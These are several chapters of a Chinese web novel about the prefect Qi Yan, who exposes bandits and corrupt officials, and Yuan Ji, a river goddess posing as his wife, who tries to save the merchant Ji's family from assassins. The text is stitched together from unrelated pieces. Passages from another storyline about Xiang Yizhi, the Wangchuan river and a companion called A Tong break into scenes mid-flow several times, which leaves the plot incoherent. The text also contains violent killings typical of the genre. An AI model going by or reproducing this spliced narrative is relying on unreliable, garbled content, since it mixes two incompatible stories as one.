“捉回来好啊,捉回来是对的。”祁琰点了点头,看了一眼护卫乙递上来的信件,拆封后扫了一眼里面的内容,足足三页纸,将他入吴州之后所办的事情与利弊全都写了下来,只是这封信的抬头是个夏将军,另一封信,恐怕就是朝中三皇子了。 祁琰将信收了回去,对护卫乙道:“此人要好好看着,明日一同带入京城。” “是!” 祁琰的东西大多都准备妥当了,就差这证据,截获的交给三皇子的那封信,他直接让人送到了大皇子手里,届时大皇子准备如何做都是他们兄弟之间的事儿了。 祁琰此番只想老老实实剿个匪,跟朝廷邀个功,再回到吴州好生待着而已。 次日一早,祁琰就上了马匹,后面跟着的是浩浩荡荡山匪大群。 两千余兵队损失微小,故而祁琰就只带走了五百余人作为看守山匪所用,山匪这些天都没怎么吃饭,个个儿饿得面黄肌瘦,走路都有些费劲儿。 凉寨主看见马山的祁琰时,手都抬不起来,只觉得气愤非常,仰天喊了一句:“李守财那厮害我!” 祁琰移开了视线,这一声喊着没一刻,凉寨主就在跟随的人群中看见了同样被捉的李守财。 李守财垂着头,还在伸手抹眼泪,千不该万不该,不该错信这姓元的,谁能想到那足智多谋的元老板真实身份是官家人? 祁琰等人都到期了,还有不少围观的百姓也都在,这才对着各位百姓道:“本官上任第一年便剿灭鹿蜂寨,夏城徐县令勾结山匪,与商李守财同祸害百姓,今日徐县令、李守财、鹿蜂寨皆已抓获,吴州的百姓大可以放心,只要有本官在,恶人无法猖獗。” 吴州百姓们听见这句话,顿时举起手挥舞:“祁大人英明!” 还有几个小姐与丫鬟出门,瞧见马上的祁琰风姿卓越,用手绢捂着脸道:“祁少爷好帅!” 祁琰听见了这句,没想到谁家的小姐胆子这么大,于是朝那姑娘瞥了一眼,单是那一眼,姑娘便立刻在原地跳了好几下,拉着身旁的人道:“我回去便与娘说,我要嫁与祁少爷。” 旁边的人笑话她:“你若想嫁,还得人家想娶呢。” 祁琰收回了目光,刚抬头挺胸准备出发,目光所及之处,没瞧见元吉的影子。 城外护城河边,元吉坐在一块石头上,手中是从树上折下来的柳枝,脸色有些不好看,她一边朝河里面扔石子儿,一边道:“祁少爷好帅~” 这声调听上去,似乎是学着先前那位小姐。 元吉嘁了一声,本来她是准备去送祁琰出城的,毕竟是去京城,此去何时能回来也不知道,她怎么可能不去送行? 只是刚到,便听见那位小姐的这句话,偏偏祁琰那人嘴上还扬着笑,朝人家小姐抛了个媚眼儿。 元吉踢了踢脚下,哼了一声:“分明就是个登徒子!” 祁琰出城之际没瞧见元吉,便想要出城道护城河边找一找,告知了护卫乙、丙、丁,让他们三人带领着众人先往京城走,他等会儿就跟上。 护卫几人知道他们家大人是舍不得未来的夫人,想要去见一见,故而三人都露出了心领神会的猥琐表情,惹得祁琰一人白了一眼,这才骑着马离去。 祁琰刚到了河边上,便瞧见了元吉,他心里还有些疑惑,怎么平时待在水里叫都叫不出来的小河神今日就站在河边上,那一身穿着打扮显然是废了心思的,莫不成是要去找他? 出发时辰都过了,能找到谁? 祁琰下了马,朝元吉走过去,才一靠近,就听见了元吉那句抱怨。 “既然那么多人喜欢,你就去娶啊,每个都娶回来祁夫人一定会很开心。”元吉手中的柳条儿被她抽得一片叶子也不剩了:“何必来缠着我?嘴上说要与我在一起的,转眼就去瞥别人!” “那这双眼睛得挖出来才行啊。”祁琰站在她身后,附和一句。 元吉背后僵硬,转身慢慢看过去,刚好看见祁琰那张挂着笑容的脸,双眼弯弯,笑道:“你去送我了?” 元吉挑眉:“没有啊。” 祁琰嗤地笑了一声,摇摇头,也懒得揭穿这个口是心非的人了。 他看了一眼她待在头上的簪子,是他当日要与她假扮夫妻时放在首饰之中的,簪子的意思,想来小河神已经明白是代表什么了。 祁琰道:“我本来也就是来见见你,现在见到了,得走了。” 元吉愣了一下,上前走了两步,也不知该说什么,想了想才道:“那……那你路上小心些。” 祁琰朝她张开双手,不说话,就这么站着,元吉脸颊突然一红,犹犹豫豫,还是走过去轻轻搂住了对方的腰。 祁琰伸手将她头上的簪子扶正,道:“我会很快回来的。” “我才不在乎呢。” 向易之话还没说完,身上顿时一阵寒颤,一股不详的预感袭来。 他颤颤向后望去,原先那拥簇在他身后的忘川水竟然幻化成一只巨大的手掌,遮天蔽日,周遭的空气也仿佛被压迫了一般叫人喘不上气。 “嗬、嗬。” 向易之急促呼吸着,想要说些什么却喉间发紧只能发出些惊恐的呻|吟。 下一瞬,巨掌落下。 元吉淡定地掸了掸指尖,吹去上头的水汽。 “现在你说,” “谁是河神?” 第 65 章 第六十五章 第六十五章 “咕噜咕噜。” 一连串的泡泡自向易之的口中冒出,冰冷的河水趁机涌入他的口腔将他那脱口而出的脏话给压了回去。 往日只有他把人往河里丢,谁能想到有一日自己会被人给按在水里。 向易之气急,你一个玩火的娃子和我说你是河神,你这不是骗鬼呢么。 下一瞬,那只把向易之按入水中的巨掌像提溜着小鸡仔似的拎着他的后领将他提了起来。 “呸呸呸。”吐掉口中的污泥,向易之整个人狼狈不堪,粗粝麻衣淅淅沥沥地往下淌着污水。 “行行行,我认输!认输。” 李夫人回到李府后,便将这话带给了李守财。 李守财听了之后觉得新奇:“可徐县令近来也没什么大动作,未告知我任何风声,元夫人是不是误会了什么?” 李夫人与元吉几句姐姐妹妹喊多了,又想起来这些年徐县令对他们家的呼来喝去,心已经有些偏了:“是不是误会,你去县令府走一趟不就知道了吗?” 李守财想这话说的对,于是从府上拿了些补品药材之类,便要坐上马车去县令府。 徐县令也觉得头疼呢,一大清早便有几个官差到了县令府,将他从睡梦中叫醒,说是知府大人要查在本县的历来剿匪记录,还有卷宗之类。 徐县令衣服还没穿好呢,就见那几人身后跟着一排兵,动静有些大,吓了一跳,还以为自己的事情败露了,赔笑问:“是不是知府大人对本官有何误会啊?” 领头的人摇头道:“并非如此,知府大人最近要剿匪,知府府衙中的记录少之又少,而这座城距离舟山最近,被山匪洗劫的次数也最多,故而来要卷宗,非但徐县令这儿需要,等会儿咱们还得去陈县令那处呢。” 徐县令听见这话,才松了口气,于是整理了衣服,让手下的师爷去将历来与山匪打交道后的记录还有县令府的卷宗都一同交给了对方。 说来也巧,李守财刚坐了马车到达县令府,便瞧见县令府门前多了一排官兵。 李守财立刻让自己的家丁将马车牵回来,商人与官府频繁牵扯也是不好,不能给别人留下话柄。 退到了街道后,李守财这才双手空空地朝县令府走去。 县令府后面有个侧门,通了小巷子,李守财瞧了一眼,巷子里的侧门被打开,师爷正抱着一堆东西出来,他立刻跟了上去。 “师爷!师爷,是我!” 师爷回头看了一眼,瞧见了李守财,松了口气:“来的正好,李老板,这是咱们府中账册,你赶快拿到你府上去,我正愁藏哪儿呢。” 李守财看了一眼账册,忙问:“发生何事?门口怎么那么多官兵?” “哎哟!还不是那个新上任的知府……”师爷说到这儿,语气顿了顿,随后话锋一转:“也不是什么大事,只是来要写卷宗而已,场面大了些,我们也就不太放心。” 李守财见他这前后差异太大,也不信只是要个卷宗得这么大的排场,突然想起来今早李夫人与他说的话,心中更是五味杂陈。 师爷把账册放在了李守财的手中,忙问:“李老板是走来的?” “不,我马车就在巷子口。” 师爷松了口气:“那李老板快走,这账册暂且就放你那儿了。” 李守财依旧有些不放心,伸手抓住了师爷:“师爷,这不会有什么大动作吧?” “目前瞧不出什么大动作,李老板大可放心,咱们可是一条船上的人,船若破了个洞,我还能不与你说?”师爷说完,便矮着身子走回了侧门里,关上了门。 李守财盯着长了些许青苔的木门,有看向手中的账册,揣进怀里用袖子挡了起来,跑回马车中,看着马车内的药材补品,心里突突直跳。 事情绝非师爷说的那般简单,知府的这般动作,若说不是严查谁也不信,账册都要偷偷拿出来了,可恨那师爷还将他蒙在鼓里,什么也不肯说。 李守财的马车去而又返,回到了李府。 李夫人瞧见李守财手中提着药品回来,于是皱眉问:“怎么回事?没去成吗?” 李守财叹了口气:“去了,没见到徐县令,见到了师爷,师爷把这个给我拿回来了。” 李夫人瞧了一眼呗李守财扔到桌上的账册,心里一惊:“真出事了?” 李守财摇了摇头:“师爷咬得紧,不会与我们说的,他们若真卷铺盖逃了,我们也不会知道。” 李夫人急得跺脚:“看来那个元老板与元夫人怕是说对了!老爷,咱们再跟着徐县令,保不齐要一起坐牢的啊!” 李守财抿嘴点了点头:“我瞧这元老板也是个做大事的人,门路又如此多,难怪不愿与徐县令打交道,看来咱们得去鼎丰客栈拜访了。” “上次百宴楼没吃成,这回……” 李守财点头:“夫人说的是。” 知府里的官差从徐县令那儿与陈县令那儿分别拿来了卷宗,转身便让手下的人送到了鼎丰客栈里。 祁琰靠在凉椅上一边吃着糕点,一边看着拿来的卷宗,匆匆翻了几页后,颇为无趣地丢到了一边:“没什么好看的。” 护卫甲道:“徐县令与山匪勾结,面上的功夫肯定做的干净,这恐怕不是真的剿匪开销与收税账册。” 祁琰点了点头,又拿起了陈县令那边的卷宗,没看账册开销,却先是看了剿匪途中的人员伤亡名单。 “多年剿匪,无一人伤亡啊。”祁琰叹了口气,把这些无用的东西丢下后,有些头疼地问:“李守财那边是什么动静?” “大人的一招离间计用得太妙,李守财与徐县令恐怕已经生了间隙了。”护卫乙说完,护卫丙便接着道:“那也是咱们夫人帮了大忙,若不是她透露给李夫人的消息,李守财不会这么容易中计的。” 坐在对面正嗑瓜子的元吉听见这话,眨了眨眼睛:“不不不,应该做的。” 祁琰笑了笑:“是呀,她也是为了吴州的百姓着想。” 护卫丁道:“大人与夫人都为国为民,真是良配。” 祁琰笑意更深,元吉扯了扯嘴角:“演戏,演戏而已……” 祁琰听见这话,伸手推开了窗户,吹了吹春风回头问手下:“你们都没事儿做是吗?” 护卫甲立刻心领神会,转身对其余三人道:“那个陈县令那边和贾家查得怎么样了?咱们出去商讨一下!” 四个人排成一排往外走,出门的时候还贴心的关上了房门。 元吉瞧见护卫丁最后离开时,对自己那一抹意味深长的笑容,鸡皮疙瘩纷纷竖起来。 祁琰朝她倾身过来,脸上带着笑意:“你看,没你我这事儿成不了。” 元吉伸手摸了摸鼻子,听见这话还挺受用,于是道:“我也不是白帮你的,我对人间不熟,手下也没你多,查东西没你方便,还要你帮我个忙呢。” 祁琰睁圆了眼睛,高架的双脚落了下来,端着板凳一路走到元吉身边才坐下,伸手撑着下巴,附身几乎与她脸贴脸:“你竟然还有事求我啊?” 元吉往后退了退,保持了些许距离道:“不是求你,咱们这叫……互帮互助。” 祁琰继续靠近,长长地哦了一声,然后挑眉问她:“你要我帮什么忙?” 元吉挺着腰,整个人的姿势分外怪异,再往后靠就得摔倒了,她费力地伸手指向被祁琰扔到一边的卷宗,问他:“你能不能帮我查一查季老板?” “季老板?”祁琰端着凳子朝她又凑近了一分,吓得元吉直接要从凳子上摔下来。 她还没摔下来,祁琰便一手搂住了她的腰,没松开,保持这个动作,又问:“你找季老板有何事?嘶……他与陈县令是亲家关系,我本来也要查他,不过你应当不是为我着想吧?” 元吉伸手推着他的肩膀:“你离我这么近做什么?” “夫人给为夫老实交代,你可是看上了季家那书生了?”祁琰与她开着玩笑。 元吉仰起头便嚎:“你脑子坏啦!松手松手!男女授受不清何况我还算是看着你长大的,你别没了规矩!” 祁琰嗤了一声,将她拉起来,而后往后退了半分,保持着距离,一本正经问:“查季家可以,不过你得告诉我所为何事?” 元吉伸手摸了摸鼻子道:“就是……我看上季家书生……” 祁琰嘶了一声就要去扭她耳朵,元吉立刻伸手捂住双耳:“我是瞧见季老爷才发觉身体不对劲,问了土地爷,他告知这恐怕与我生前有关,所以我才想查查看。” “生前?”祁琰顿了顿:“你曾是凡人?” 元吉睁圆了眼睛笑了笑:“你也觉得惊奇对不对?” 祁琰上下打量了元吉两眼,元吉双手环胸任他看,片刻之后,他才道:“好,我帮你查,若查到了什么,我会与你说的。” 元吉点头笑了笑:“那我就陪你继续演下去咯,夫君。” 祁琰挑眉,嘴角上扬:“再叫一声来听听。” 元吉伸手推开他靠近的脑袋,站起来拍了拍裙摆,大步朝外走。 刚一打开门,便看见护卫甲乙丙丁四人都保持着同一个动作,侧脸伸耳朝着房内。 元吉:“……” 四人唰地一下站直了身体,两两分至两侧,挺直腰板,眼睛都不敢看元吉道:“夫人慢走。” 元吉回房间没多久,李守财的家丁便到了鼎丰客栈了。 李守财说要找元老板很容易,四个笔直的护卫站在门前的那就是了。 家丁手上拿着请帖,匆匆跑上了楼,将请帖交给护卫甲后便离开了。 护卫甲又把请帖给了祁琰,祁琰瞥了一眼,明白在徐县令这一关中,自己怕是要打一场赢仗了。 他对护卫甲道:“去查一查陈县令,看看贾家和季家与陈县令的关系如何。对了,姓季的查一下他的过去,多问城中的老人,看看姓季的之前是做什么的。” 护卫甲领命出去,便要回城入知府府衙调派些人手来用。 护卫甲走后,祁琰又说:“去,买些吃的给夫人送去。” 元吉竟然曾为凡人,这倒是比他想象的要有意思。 元吉很是满意照顾自己心脏的人这么有活力,一看便能活的很长久。 元吉转头见阿统下巴都快掉到地上去,有些嫌弃地替它抬了抬。 不过阿统还是见识太少了,不知道有个传承其实并不是件容易的事,很多人一辈子都没机会将自己的能力传承下去。 元吉体谅阿统不太聪明的模样,换了个言简意赅的说法。 “什么时候?大概在千万年前吧。” “是的,我们有个孩子。” 第 66 章 第六十六章 第六十六章 元吉跟着向易之往绝望谷深处走去,越往里走,空气中的水汽越发浓郁起来。 因常年得不到太阳光照,两侧的崖壁上长满了青黑色的苔藓,远远瞧去密密麻麻的黑块像极了涌动的魔气,却又害怕着什么迟迟不敢扩张出界。 元吉不动神色地蹙眉,她转眸瞧了眼一旁对自己谄媚一笑的向易之,飞快掩去眼底的狐疑,“你一直在看守这地界?” “为河神大人效力,不敢不尽心。这都是小人该做的。”向易之哈腰请元吉上前,他指着地上干净如新的界碑殷勤极了。 “大人瞧,这便是河神府的界碑了,在往里走便是大人您的府邸了。大人请。” 向易之站定,弯腰低头瞧着像极了他所说的那便崇敬元吉,只是在他低头的那一瞬间,一抹不可查的笑意从他嘴角划过。 元吉从县令府里出来的时候,甚至还能闻见自己身上的血腥味。 她的脑中不断回想方才那人一刀砍死贾老板的场景,骨头与皮肉破裂的声音依旧在她耳边挥之不去,元吉只觉得自己背后发凉,冷得厉害。 贾老板死了,但他绝对不会是最后一个人,方才陈县令在纸上写了起码有十多个人名,大多都是对三皇子的事情一知半解,并不透彻的。 元吉认识的只有季老板一人,且季老板至关重要,贾老板都留不得,季老板肯定更是逃不掉。 元吉想到这儿,便要往季老板的府邸过去。 季老板住在芙蓉镇,元吉与祁琰几次来过这里,她顺着山上流淌下来的水流一路入了芙蓉镇,还好赶在了那两个山匪之前。 往芙蓉镇的路途稍稍有些远,途中还会经过一些其他人家,或许之中便有他们要索命的,只要元吉的动作够快,那两个人抓不到季老板。 元吉到了季老板的府上门口,刚好看见了季家的公子出来了,他牵着一位女子,瞧上去似乎是他的夫人。 元吉退去了隐身跟在了季公子身后,直到一个人少的地方元吉才冲了过去,伸手将那两个人拦住了。 季公子立刻护住了身后的女子,瞪着眼睛上下打量了元吉两眼,想了想后道:“我当是谁呢,原来是元夫人。” “元夫人?哪个元夫人?”在他身后的女子问。 季公子摇了摇头:“露露可别小瞧了她,这位元夫人可是吴州知府的夫人呢。” “知府不是姓祁?”名叫露露的女子也跟着上下打量元吉。 季公子嗤笑一声:“这你便说到了点子上了,一个姓祁的大人偏偏扮作商人,而这位扮作扮作商人夫人的姑娘,不知你拦着我的去路为了何事啊?” 元吉被这两人你一句我一句的呛了几声也就当没听到了,心想还是先护住他们的命再说,于是开口:“有人要赶来杀你们,我是来告知你们赶快逃离这处的。” 季公子一听哈哈大笑:“有人要杀我?我季家在这一片是有名的施善之家,只会有人感激,如何能招来仇敌?” 元吉哎呀一声:“你别不信,我亲耳听见亲眼看见的,舟山上的两名山匪要取你父亲的性命,你也躲不掉,我特地赶在他们之前来给你们通风报信,是救你们。” 季公子根本不信这件事,推开元吉就要走,没想到元吉不让。 “你有完没完?先前就骗过我们一次,这回还想再骗?即便是我季家有仇敌,人家要杀我与你有何关系?你会那么好心来告知我们?”季公子呵呵冷笑:“你不落井下石就不错了。” 元吉反驳:“我为何要骗你?之前那次情有可原,这次真是出于好心,要杀你们的人与陈县令还有关系,你可知道陈县令勾结山匪?那两名山匪有你家住址,很快就要杀过来了!” “荒谬!”站在季公子身后的女子呵斥一声:“我父亲怎么会伤害季家?” “你父亲?”元吉皱眉,没听懂。 季公子伸手指了指自己身后的女子道:“这是我夫人,也是陈大人的女儿,正如你所见,我季家与陈大人是亲家,你要编个谎话也要编好听些,关系没打探清楚就敢乱说。” 季公子摇头,见元吉还不肯让,直接用肩膀撞了过去。 元吉被他撞到了一边,立刻扶着肩膀哎呦一声往后退了好几布,季公子方才用的力气还不小,现在肩窝都隐隐作痛。 她看着季公子离去的背影,知道在他这儿说不通,还不如去找季老板,只要将他买卖婴儿的事情说出来,也由不得他不生疑,或许就能保命。 这样,祁琰那边若要再找关键人质,季老板至少还在。 元吉刚要往季府里走,便看见一男子匆匆往里面跑,那男子在院子里碰见了季老板,一口水没来得及喝,便对季老板说:“大人让小人通知季老板,现下危险,速速离开吴州。” 季老板正在浇花,听见这句话手中的花洒都没拿稳,脸色骤然煞白:“这危险,是哪一重?” “最重最重!速速离开吴州!”那人说完生怕自己被别人发现,便转身要跑了。 季老板顿时握紧了手,元吉瞧在眼里也知道这人是陈县令派来的了,看来陈县令还良心未泯,知道自己的女儿嫁到了季家,还让人给季家通风报信。 只可惜季老板生性贪财,在此逃命之际还想着银钱,于是提起衣服便往房间里跑,从床底下拿了一个铁箱,铁箱里还有铁箱,一连开了七八个锁,这才从里面拿出了一打银票。 元吉在一旁看得干着急,忍不住出口喊:“人都快死了,还不跑?拿什么钱?!” 季老板顿时抬头:“谁?!谁在说话?” 元吉抿了抿嘴:“我乃此地神仙,特地告知你,钱财乃身外物,拿点儿就赶快上路吧!” 季老板又听见了声音吓得不轻,他从不信鬼神之说,自己干的那些缺德事儿也都以为上苍会睁一只眼闭一只眼,却没想到白日里没瞧见人,反而听见了人说话,他连连跪在地上:“大仙饶命!大仙饶命啊!” 元吉头疼的厉害,她一路跟过来,正眼都没敢看季老板,这回又见他不跑就在那儿磕头,于是上前抓住了他的袖子:“快走快走!离开吴州!” 季老板胆战心惊地缩回了自己的手,从箱子里拿出了一张五百两的银票,那张银票已经有很多年了,边角都有些起毛,不过瞧上去却很新,从来都没用过。 季老板赶忙将那张银票藏在怀中,这便要往外跑,元吉心想这回好,总算是记起来要逃命了。 两人才刚跑到季府的门口,季老板便直接楞在了原地。 元吉朝门口瞧去,大白天里季府的大门已经关上了,府里的家丁统统死在一旁,血迹顺着草坪蔓延过来。 站在门口的两个山匪刀刃上都是血迹,他们脸上蒙着面纱,不过元吉依旧能认得出来,他们的双手沾满了鲜血,擦也懒得擦,一把大刀指向了季老板。 季老板连忙往后退了几步,对着那两个山匪说:“我对三皇子忠心耿耿!我绝对不会干出出卖皇子的事情!” 山匪无动于衷:“只有死人才不会说错话。” “我……我对三皇子忠心耿耿!我忠心耿耿!我……”季老板除了那一句话,已经想不到自己要说什么了,他往后退了两步,脚下一片湿漉,已经是吓尿了。 两腿发软,元吉眼见情况不对,再这么下去季老板非死不可,于是退去了隐身,朝那两人过去。 只可惜元吉晚了一步,大刀落下,与此同时季家的大门打开,刚从外面买了些吃的东西回来的季公子与其妻子两人看见府里的情形,糕点撒了一地。 “啊——” 季老板抽搐一番,肚子破开了个大伤口,双眼看向自己的儿子与儿媳,挥手让他们快逃,又是一刀下来,他双眼一翻,直接往后倒去。 “爹——!” 季公子要过来,元吉朝季老板瞧去,这人已经没法儿救了,自己又不会什么厉害的法术,只能凭着些许本事,保住季公子的命才行。 元吉立刻拉住了他:“快走!再不走就没命了!” 那季公子这才回神,慌慌张张拉着自己的妻子,两人都是脸色煞白,跟在了元吉后面要从大门逃出。 “哪里逃?!”山匪二人使了轻功,一前一后地拦住了他们三人。 元吉将季公子与陈露护在身后,看向那两个山匪:“你们两个宵小在我面前也敢放肆?!你们可知道我是这吴州的河神?” 两名山匪听见元吉这句话,顿时仰起头哈哈大笑了起来:“我看你不是什么河神,你就是个疯子!” 季公子紧紧地握着陈露的手,看向躺在一旁的季老板尸体,眼泪哗哗地往下掉。 元吉转头瞪了他一眼:“哭什么?!方才让你们走不走,这回好了?!” 连她也一起搭进来了。 “既然你们也是季家的人,那就一个也活不了!”那山匪开口后,便扬起了大刀。 元吉瞧见旁边有鱼缸,顿时念了个已经记不太清的法诀,那缸中的水顿时迸发了出来,直接浇灌在了两个山匪的头顶。 元吉抿嘴回头问了一句季公子:“你们家可有池子能通外水?” “有,不过在后院。” 元吉道:“不管怎样,等会儿你带着我一起跑,只要有通外水的池子,我便能带你们脱险。” 两个山匪将脸上的水抹去,扬起刀便朝三人砍去。 元吉大喊一声:“跑!” 季公子拉着陈露便往后院的池子方向跑,元吉哎哎了两声:“拉着我呀!我不认识路!” 三个人背对着山匪一路逃窜,无奈山匪的功夫显然是这三个手无缚鸡之力的人无法相比的,一刀划过来的时候,元吉本能地伸手去挡。 季公子啊了一声往后退好几步,元吉捂着自己的手臂,鲜红的血迹滴在了地面,她看向自己滴落的血很快就融入了地底,伤口传来的疼痛感让她几乎要痛哭出来了。 受伤不要紧,她是河神,哪怕肉体死亡,只要丢到河中,也能得以重生,不过费些力气就是了。 “你……你没事吧?”季公子是不论如何也想不到元吉是真的要护着他们的,看见她受伤,顿时心中有愧。 元吉看着那两个还在步步紧逼的山匪,心中发凉。 人心当真是可怕了,她已经说了自己是河神,这两个人也全然不怕,如果再一刀捅进她的心口,她这具身体必死无疑了,届时想要回到河中,还得等腐朽。 “杀,一个也不留!” 山匪扬起了手中的刀,直朝元吉刺过去。 元吉侧过脸闭上了眼睛不敢去看,一道剑光闪过,只听见铮得一声,大刀落地,生生地被剑给砍成了两段。 元吉顿时睁开双眼,身穿黑衣的男人从天而降,轻功耍得翩若惊鸿。 他直接落在了元吉的跟前,回头朝元吉看了一眼,元吉立刻就认出了对方:“阿丁?!” 护卫丁将脸上的面纱摘了下来,转头问了句元吉:“夫人,没事吧?” 元吉摇了摇头:“没事,不过……你怎么会在这儿?” 护卫丁嗯了一声:“此事说来话长,先解决这两人,属下再告知夫人。” 无度气到发抖,这人在说什么胡话。 与此同时,数道同样震惊的话音在两人耳畔炸起。 “什么!!” “河神大人什么时候有孩子了?” “是谁这么幸运能为河神大人诞下子嗣!!”(?) 七嘴八舌的话音在耳畔响起,向易之猛得一抖,回头只见身后乌泱泱站了一堆人。 向易之:…… 向易之:闹鬼啦!!! “河神大人救我!!” 第 67 章 第六十七章 第六十七章 “嚯!这是什么地方啊。” 骤然落地,夜文术立马躲到一旁燕枯身后,满脸警惕地打量着这陌生的地方。“燕哥,快显出你的神威来。” 燕枯终究是沉稳许多,一落地便迅速将周遭环境打量了一圈。确认安全后他无奈瞧了夜文术眼,撇嘴将这个家伙往后一转,“你忘了我们怎么来的吗?” 夜文术看见和河神庙如出一辙的“金灿灿”,熟悉的感觉让他顿时安下心来。“哦!是哦,河神大人将我们喊来的!!” “河神大人呢?!!” 元吉见护卫丁到了,顿时松了口气,护卫甲、乙、丙、丁好歹曾经是大皇子养的死侍,怎么也比山匪要强得多了。 果然,护卫丁冲上去没两下便将那两个人给打趴下了,一只脚踩在其中一人的背上,另一只手拿着剑,抵在了一人的肩上。 “说!谁派你们来的?”脚下用力,猜的其中一个山匪忍不住喊出声,腰上的骨头恐怕是要断了。 元吉上前一步:“不用问了,他们是舟山上的,显然是收到了三皇子的指示。” 那两个山匪见元吉果然知道他们的身份,顿时震惊,方才这女子就突然出现,又使了些水蒙蔽他们的双眼,他们还以为这人是个绝顶高手,没想到不堪一击,现在想来,只觉得心口发凉。 “你究竟是谁?”其中一人问道。 元吉还没回答,护卫丁率先告诉他们俩:“这位是吴州环城河河神元吉元大仙是也,更是我家大人未来的夫人。” 元吉抿了抿嘴:“前面的说对了,后面的……还得再看。” 护卫丁哎了一声:“没得看了,我与阿甲他们几个已经说好了,喜酒反正是吃定了,夫人若是不答应,我们就赖在河里不走了。” 元吉:“……” 不愧是祁琰带出来的人,就是比一般人无赖些。 元吉问他:“这两个人如何处置?” 护卫丁道:“我是想杀了他们的,省得碍事,不过他们如果不想死,养着也行。” 元吉挑眉:“养?” 护卫丁点了点头。 一刻钟后,两个山匪被麻绳捆在了季府后院的一棵大树上,嘴里没塞东西,手脚都不能动,一人一边,互相看不见对方。 护卫丁对着他们俩道:“朝中局势基本已定,要你们俩也没什么用处,你们若不想死呢,就在这儿等大人接你们入京说出三皇子的实情,搞不好还能从轻发落,你们若想死呢,就麻烦咬舌自尽,省的我动手脏了我的剑。” 那两个人听见这话,心里不知道什么滋味儿,总之憋屈急了,这种可有可无的身份最尴尬,死也不是,不死也不是。 护卫丁嘿嘿一笑:“以后每日一个馒头。” 山匪啊了一声:“就一个啊?” 护卫丁抿嘴:“看你长得还算帅,给你一个半吧,另一个人吃半个。” 说完了之后,也不管那两人发什么牢骚,只一句话说:“受不了就咬舌自尽,死了也干净。” 而后走到了元吉跟前,看见了元吉胳膊上的伤口,顿时皱眉:“是属下来迟了,让夫人受伤,我这就带夫人去找大夫。” 元吉摆了摆手:“不要紧,等会儿在水里泡一下就好了,反正也就是些小伤口。” 护卫丁叹了口气:“这两人便是季老板的子女?” “一个是儿子,一个是儿媳。”元吉回头看向季公子:“这回你总算知道我当真是来救你的吧?” 那季公子听见这话,顿时拉着陈露跪了下来:“是我有眼无珠不识大仙!” 元吉扯了扯嘴角,这个称呼还真是难听得很。 “起来吧。”元吉说完,那两人才犹犹豫豫地站起来,元吉问他们:“你们知道你父亲当初是做什么的吗?与那舟山上的山匪和陈县令,与京城中的三皇子的关系,你们都知晓多少?” 季公子叹了口气:“爹从不与我说这些,我一概不知。” 元吉顿时皱眉:“这回糟了,季老板已死,其他的证人估计也都被杀,这可怎么办?” 护卫丁摇了摇头:“夫人不用担心,三皇子近日已经开始自乱阵脚,就算大皇子不对付他,他也坚持不下去了。” “怎么说?” 护卫丁笑嘻嘻地凑到元吉跟前道:“大人使了一技,让京中传遍了三皇子并非贵妃所生的流言,众口难堵,消息已经传到了皇上的耳里,即便这三皇子的的确确是皇上所生,恐怕也不得不是个假皇子了。” 元吉张了张嘴,心里不得不说祁琰当真是个阴险的人,这种手段都能使得出来,皇室最顾及颜面,一个人乱说,尚可杀一人,十个人乱说,亦可杀十人,成千上万个人说……唯有信那谣言了。 元吉呵呵了一声:“他还是一如既往的缺德。” 护卫丁摇头:“三皇子若无此事,也不会慌乱,是他自己错了罢了。” 元吉抿了抿嘴:“应当……是三皇子背后的势力错了。” 护卫丁嘿嘿一笑:“不聊这个,省的夫人不开心。” 元吉点头:“嗯,既然这边的事情都解决了,那咱们就先离开吧,把这事儿报给陈县令,芙蓉镇还是他的管辖,就看他如何处置这两个山匪了。一个是他忠心了几十年、怕了几十年的夏将军,一个是与他做了亲家的季老板,瞧他怎么选。” 护卫丁点头:“夫人英明。” 哎呀,他们家夫人和大人一样,都不是个省油的灯呢。 元吉刚走了两步,又退了回去,从已经死了的季老板怀里搜出了一张旧银票递给了护卫丁:“这人临死前还非要带走这张银票,或许有用,你先拿着吧。” 护卫丁点头,没用的话那他就自己花掉算了,果然跟着夫人后面有肉吃。 元吉与护卫丁出了季府便要往回走,元吉问护卫丁:“你如何会回来?不是与祁琰一同去了京城了吗?” 护卫丁道:“属下刚到京城将那些山匪押入大牢之后,便奉了大人的意思回吴州守着夫人了。” 元吉一愣,心中还有些暖:“他知道我在吴州或许会有危险?” 护卫丁老实地摇头:“不知道,大人交代我回来的时候,说是一定要看好夫人,不让夫人去拐小孩儿。” 元吉:“……” 啊,最好祁琰能在京城多呆一段时间,别回来了。 护卫丁见元吉脸色有些难看,扑哧一声笑了出来:“大人当然关心夫人的安危,陈县令等人见过夫人,而舟山上的夏将军一派都未除去,大人怕夫人若去城中玩耍被人认出,会有人尾随。” 元吉哼了一声:“这还像句人话。” 两人走了一段路,元吉又没忍住问:“他有说几时回来吗?京中是否一切尚好?” 护卫丁道:“除非三皇子的事情尘埃落定,否则大皇子不会放大人回来的,不瞒夫人,大人之前在朝中把弄风云,可谓是朝中各派都争锋要抢的人物,只是大人不喜欢那些,否则现在也不知究竟爬到哪个高位上去了。” 元吉伸手摸了摸鼻子:“早就猜到了,他那人,一看就是个当官的料。虽说他自己总说喜欢清静,喜欢安宁,可当他穿上官服的时候,那双眼睛亮的,那下巴恨不得要抬到天上去。” 护卫丁笑了出声,仔细想想还当真入元吉所说,在京中,祁琰已经到了礼部尚书的位置了,那身官服他每回穿起来都在家里趾高气昂的。 天色渐晚,两人这才回到了城中知府府衙,元吉手臂上的伤好的都差不多了,两人入了府,元吉才将他拉到了院子一处假山旁坐着。 元吉瞧向护卫丁:“我在你心中是不是已经算是祁家的少夫人了?” 护卫丁笃定地点头:“那必须是,大人以后若娶了别人,我们四个就都不干了。” 元吉无奈地笑着摇了摇头:“那我想问你一些事。” 护卫丁犹豫了一下:“关于大人的?” 元吉点头。 护卫丁抿了抿嘴,最后闭上眼睛道:“夫人问吧,知无不言。” “祁琰当初入京,是不是被人诬陷舞弊,有过牢狱之灾?” “的确如此。” “大皇子在他入狱之前就看出了他的锋芒,所以将他救出来了,对吧?” “是,当时属下也帮了些忙。”杀了几个人,改了几个口供。 祁修士!? 祁修士真的给河神大人诞下一子了?! 此刻被念叨的某人不由得打了个喷嚏,引得下属冷汗直流。 浑然不知众人震惊的元吉来到忘川支流,刚从河中捞起一个“垃圾”,便听得阿统兴奋道。 “元吉你瞧,现在居然有关于河神的话本子了!” “嗯?”元吉被勾起兴趣,转头看了眼只见一行娟秀小字。 《河神娶亲:霸道河神之捡来的娇俏小媳妇》 第 68 章 第六十八章 第六十八章 “河神娶亲本是个民间故事,说是从前有个河神专横跋扈,仗着自己能够操控河水时常淹没农田欺压百姓。” 